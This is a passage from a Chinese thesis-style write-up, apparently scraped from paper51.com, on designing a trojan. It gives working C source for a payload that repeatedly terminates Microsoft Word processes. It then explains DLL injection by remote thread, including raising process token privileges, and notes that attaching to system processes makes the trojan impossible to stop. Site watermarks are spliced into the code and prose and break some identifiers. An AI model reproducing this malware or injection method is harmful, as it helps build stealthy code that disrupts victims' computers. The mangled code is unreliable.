4.2 具体设计的步骤及相关函数 4.2.1 木马功能的设计 内容来自论文无忧网 www.paper51.com 木马的主体包含了木马需要实现的具体的功能和作用,在这个设计里木马只是起到了一些破坏作用,并没有类似远程控制的功能,而是只针对了木马所在的计算机进行了一个小的破坏,即破坏了该计算机word文档,使他不能正常开启。木马主体的这个功能设计代码如下: http://www.paper51.com DWORD WINAPI MainThread(LPVOID lpParam) 内容来自www.paper51.com { paper51.com
//不停循环查找word进程,存在即杀掉 内容来自www.paper51.com while(1) 内容来自论文无忧网 www.paper51.com { 内容来自www.paper51.com HANDLESnapshot; paper51.com Snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); 内容来自www.paper51.com
//获得某一时刻系统的进程、堆(heap)、模块(module)或线程的快照信息 http://www.paper51.com PROCESSENTRY32processListStr; http://www.paper51.com processListStr.dwSize=sizeof(PROCESSENTRY32); paper51.com BOOLreturn_value; http://www.paper51.com return_value=Process32First(Snapshot,&processListStr); http://www.paper51.com //获得系统进程链表中第一个进程的信息 http://www.paper51.com
while(return_value) http://www.paper51.com { http://www.paper51.com HANDLEProcessHandle; copyright paper51.com ProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,processListStr.th32ProcessID); 内容来自www.paper51.com
//利用数组ID指定的获得存在的一个进程的句柄 copyright paper51.com if(stricmp(processListStr.szExeFile,"winword.exe")==0) http://www.paper51.com
{ 内容来自论文无忧网 www.paper51.com TerminateProcess(ProcessHandle,0); http://www.paper51.com } 内容来自www.paper51.com return_value=Process32Next(Snapshot,&processListStr); http://www.paper51.com
} copyright paper51.com Sleep(2000); copyright paper51.com } copyright paper51.com
} 内容来自www.paper51.com 1.整个木马主体都写在MainThread()这个函数中,方便DLL函数调用木马主体。 内容来自www.paper51.com
2.使用Snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0)函数获得当前系统的进程、堆(heap)、模块(module)或线程的快照信息。 copyright paper51.com 3.用Process32First(Snapshot,&processListStr)获得系统进程链表中第一个进程的信息。 内容来自www.paper51.com 4.ProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,processListStr.th32ProcessID)利用数组ID指定的获得存在的一个进程的句柄。 内容来自www.paper51.com 5.判断第一个进程是否为word进程,if(stricmp(processListStr.szExeFile,"winword.exe")==0)。 内容来自www.paper51.com 6.如果第一个进程是word进程,就利用TerminateProcess(ProcessHandle,0)函数结束进程。 内容来自论文无忧网 www.paper51.com 4.2.2 木马的注入 内容来自www.paper51.com
常见的动态注入方式有:“挂接API”,“全局钩子(HOOK)”,“远程线程”等。其中远程线程是最常用的手段。远程线程技术指的是通过在一个进程中创建远程线程的方法来进入那个进程的内存地址空间。当EXE载体(或Rundll32.exe)在那个被插入的进程里创建了远程线程,并命令它执行某个DLL文件时,我们的DLL木马就挂上去执行了,这里不会产生新的进程,要想让DLL木马停止,只有让这个链接DLL木马的进程终止。但如果和某些系统的关键进程链接,那就不能终止了,如果你终止了系统进程,那Windows也随即被终止。具体的步骤如下: copyright paper51.com 1.提升访问权限 内容来自www.paper51.com (1)在默认的情况下进程的一些访问权限是没有被使用的,所以我们要做的首先是使用这些权限。与此相关的一些API函数有OpenProcessToken、LookupPrivilegevalue、AdjustTokenPrivileges。我们要修改一个进程的访问令牌,首先要获得进程访问令牌的句柄,这可以通过OpenProcessToken得到,函数的原型如下: http://www.paper51.com BOOL OpenProcessToken( copyright paper51.com
HANDLE ProcessHandle, paper51.com DWORD DesiredAccess, copyright paper51.com
PHANDLE TokenHandle http://www.paper51.com
); http://www.paper51.com 第一参数是要修改访问权限的进程句柄;第二个参数就是返回的访问令牌指针;第三个参数指定你要进行的操作类型,如要修改令牌我们要指定第二个参数为TOKEN_ADJUST_PRIVILEGES(其它一些参数可参考PlatformSDK)。通过这个函数我们就可以得到当前进程的访问令牌的句柄(指定函数的第一个参数为GetCurrentProcess()就可以了)。 http://www.paper51.com (2)我们可以调用AdjustTokenPrivileges对这个访问令牌进行修改。AdjustTokenPrivileges的原型如下: copyright paper51.com BOOL AdjustTokenPrivileges( 内容来自www.paper51.com HANDLE TokenHandle copyright paper51.com
BOOL DisableAllPrivileges 内容来自www.paper51.com PTOKEN_PRIVILEGES NewState copyright paper51.com
DWORD BufferLength 内容来自www.paper51.com
PTOKEN_PRIVILEGES PreviousState http://www.paper51.com PDWORD ReturnLength 内容来自论文无忧网 www.paper51.com ); 内容来自www.paper51.com 第一个参数是访问令牌的句柄;第二个参数决定是进行权限修改还是除能(Disable)所有权限;第三个参数指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组,数据组的每个项指明了权限的类型和将要进行的操作,第四个参数是结构PreviousState的长度,如果PreviousState为空,该参数应为NULL,第五个参数也是一个指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息,可空,最后一个参数为实际PreviousState结构返回的大小。 http://www.paper51.com |